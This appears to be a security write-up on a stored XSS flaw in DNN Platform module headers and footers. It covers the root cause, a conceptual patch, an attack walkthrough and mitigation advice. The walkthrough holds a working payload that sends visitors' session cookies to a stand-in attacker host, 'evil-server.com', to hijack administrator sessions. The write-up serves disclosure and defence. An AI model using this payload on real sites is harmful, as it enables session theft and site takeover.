Trust Issues: Weaponizing DNN Module Headers for Stored XSS

DNN Platform (formerly DotNetNuke) is the workhorse of the Microsoft web ecosystem. It’s been around forever, powering everything from corporate intranets to public-facing government portals. One of its core strengths is its modularity; you can drop a 'module' (like a text block, a calendar, or a form) onto a page and customize it to your heart's content. To give designers flexibility, DNN allows specific HTML content to be injected into the Header and Footer of these module containers.

Here lies the philosophical trap that caught the developers off guard: the assumption of trust. The logic dictates that if a user has permission to edit a module's settings (a "Content Editor"), they are trusted enough not to burn the house down. But in the modern threat landscape, a "trusted" account is often just a compromised account waiting to be weaponized.

CVE-2026-24784 isn't a complex buffer overflow or a race condition. It's a classic failure to acknowledge that even authenticated inputs are dangerous. By leaving the window open for raw HTML injection in these layout fields, DNN inadvertently handed a skeleton key to anyone who could compromise a low-level editor account.

The vulnerability resides in how the DNN framework renders module containers. When a page is requested, the server iterates through the modules assigned to that pane, loads their settings, and constructs the HTML response. Specifically, the ModuleInfo.Header and ModuleInfo.Footer properties are retrieved from the database and stitched directly into the output stream.

In a secure implementation, any user-supplied string destined for the DOM should be treated as radioactive material. It requires decontamination—sanitization or encoding—before it touches the browser. However, the affected versions of DNN Platform treated these specific fields as 'safe HTML'.

The root cause is a missing filter pipeline. While DNN has robust input filtering mechanisms (like PortalSecurity.Instance.InputFilter), they simply weren't applied to these specific properties during the save or render phases. The system essentially said, "Oh, you want to put a <script> tag in the footer? Sure, you're an Editor, you probably know what you're doing." This lack of enforcement turns a layout customization feature into a persistence mechanism for malware.

To understand the fix, we have to look at how the data was being handled before the patch. The vulnerability allowed raw strings to pass from the database to the client. The remediation involved enforcing an input filter that specifically strips scripting tags before the data is persisted or rendered.

The fix was implemented in commit 53cdf4750477293b4e6316b4d91e1d5e43610127. The developers had to intervene in the module update logic to ensure that whatever the user submits is run through a whitelist filter.

Here is a conceptual reconstruction of the patch logic applied to the ModuleController or the UI code handling the update:

// VULNERABLE CODE (Conceptual)
// The input was taken directly from the text box and saved.
moduleInfo.Header = txtHeader.Text;
moduleInfo.Footer = txtFooter.Text;
 
// FIXED CODE
// The input is now passed through the rigorous InputFilter
// with the NoScripting flag enabled.
var security = PortalSecurity.Instance;
 
moduleInfo.Header = security.InputFilter(
    txtHeader.Text, 
    PortalSecurity.FilterFlag.NoScripting
);
 
moduleInfo.Footer = security.InputFilter(
    txtFooter.Text, 
    PortalSecurity.FilterFlag.NoScripting
);

By adding FilterFlag.NoScripting, the application proactively strips tags like <script>, <object>, <iframe>, and dangerous event handlers (like onload or onerror) before the data ever reaches the database. This effectively neutralizes the attack vector, ensuring that even if a malicious actor tries to save a payload, it comes out as harmless text.

Let's walk through a real-world attack scenario. You are an attacker who has fished credentials for a marketing intern's account. This account has "Edit" permissions on the company blog module but no administrative rights over the site or the server.

Step 1: Access Module Settings You navigate to a page containing the blog module, hover over the gear icon, and select Settings. You aren't hacking the server; you are using the UI exactly as intended.

Step 2: Injection In the "Advanced Settings" tab, you locate the Header text area. You insert the following payload, designed to silently steal the session cookie of anyone who visits the page:

<div style="display:none">
  <img src=x onerror="this.src='https://evil-server.com/log?cookie='+btoa(document.cookie)">
</div>

Step 3: The Trap You save the settings. The payload is now stored in the SQL database table TabModules. The module looks normal to the naked eye because the div is hidden.

Step 4: Execution You sit back and wait. Eventually, a SuperUser (Administrator) visits the blog to approve a post or check layout. As their browser renders the module header, the onerror event fires immediately. Their robust session ID is Base64 encoded and sent to your evil-server.com. You copy that cookie into your browser, hit refresh, and suddenly, you are the Administrator.

While the CVSS score is a moderate 6.8 (due to the requirement of high privileges to edit modules), the practical impact is catastrophic. In the context of a CMS like DNN, "Privileged User" is a broad spectrum. Organizations often have dozens of content editors.

If an attacker gains SuperUser access via this XSS, the game is over. DNN SuperUsers can typically:

1. Execute Code: Upload malicious .aspx files via the File Manager.
2. Exfiltrate Data: Access user tables, customer data, and proprietary content.
3. Destruction: Delete portals, wipe databases, or deface the entire site.

The persistence of this vulnerability is what makes it dangerous. Unlike Reflected XSS, which requires you to trick a victim into clicking a link, Stored XSS lies in wait. It effectively turns the website into a watering hole attack against its own administrators.

The remediation path is straightforward but urgent. You need to upgrade your DNN Platform instance to a patched version immediately. The patches were released in versions 9.13.10 and 10.2.0.

If you cannot patch immediately (perhaps you are stuck in 'Enterprise Change Management Hell'), you have limited options for mitigation:

1. Audit Permissions: Ruthlessly prune the list of users who have "Module Edit" permissions. If they don't absolutely need it, revoke it.
2. WAF Rules: Implement Web Application Firewall rules that inspect POST requests for XSS payloads (tags like <script>, javascript:, etc.). However, be warned that complex encodings can often bypass generic WAF signatures.
3. Database Monitoring: A savvy DBA could set up a trigger or a scheduled query on the TabModules table to look for %<script>% in the Header or Footer columns, providing an early warning system if an injection occurs.

Ultimately, there is no substitute for the code fix. This vulnerability proves once again that 'input validation' is not just a checkbox for public forms—it is a requirement for every single byte of data that enters your system, regardless of who sent it.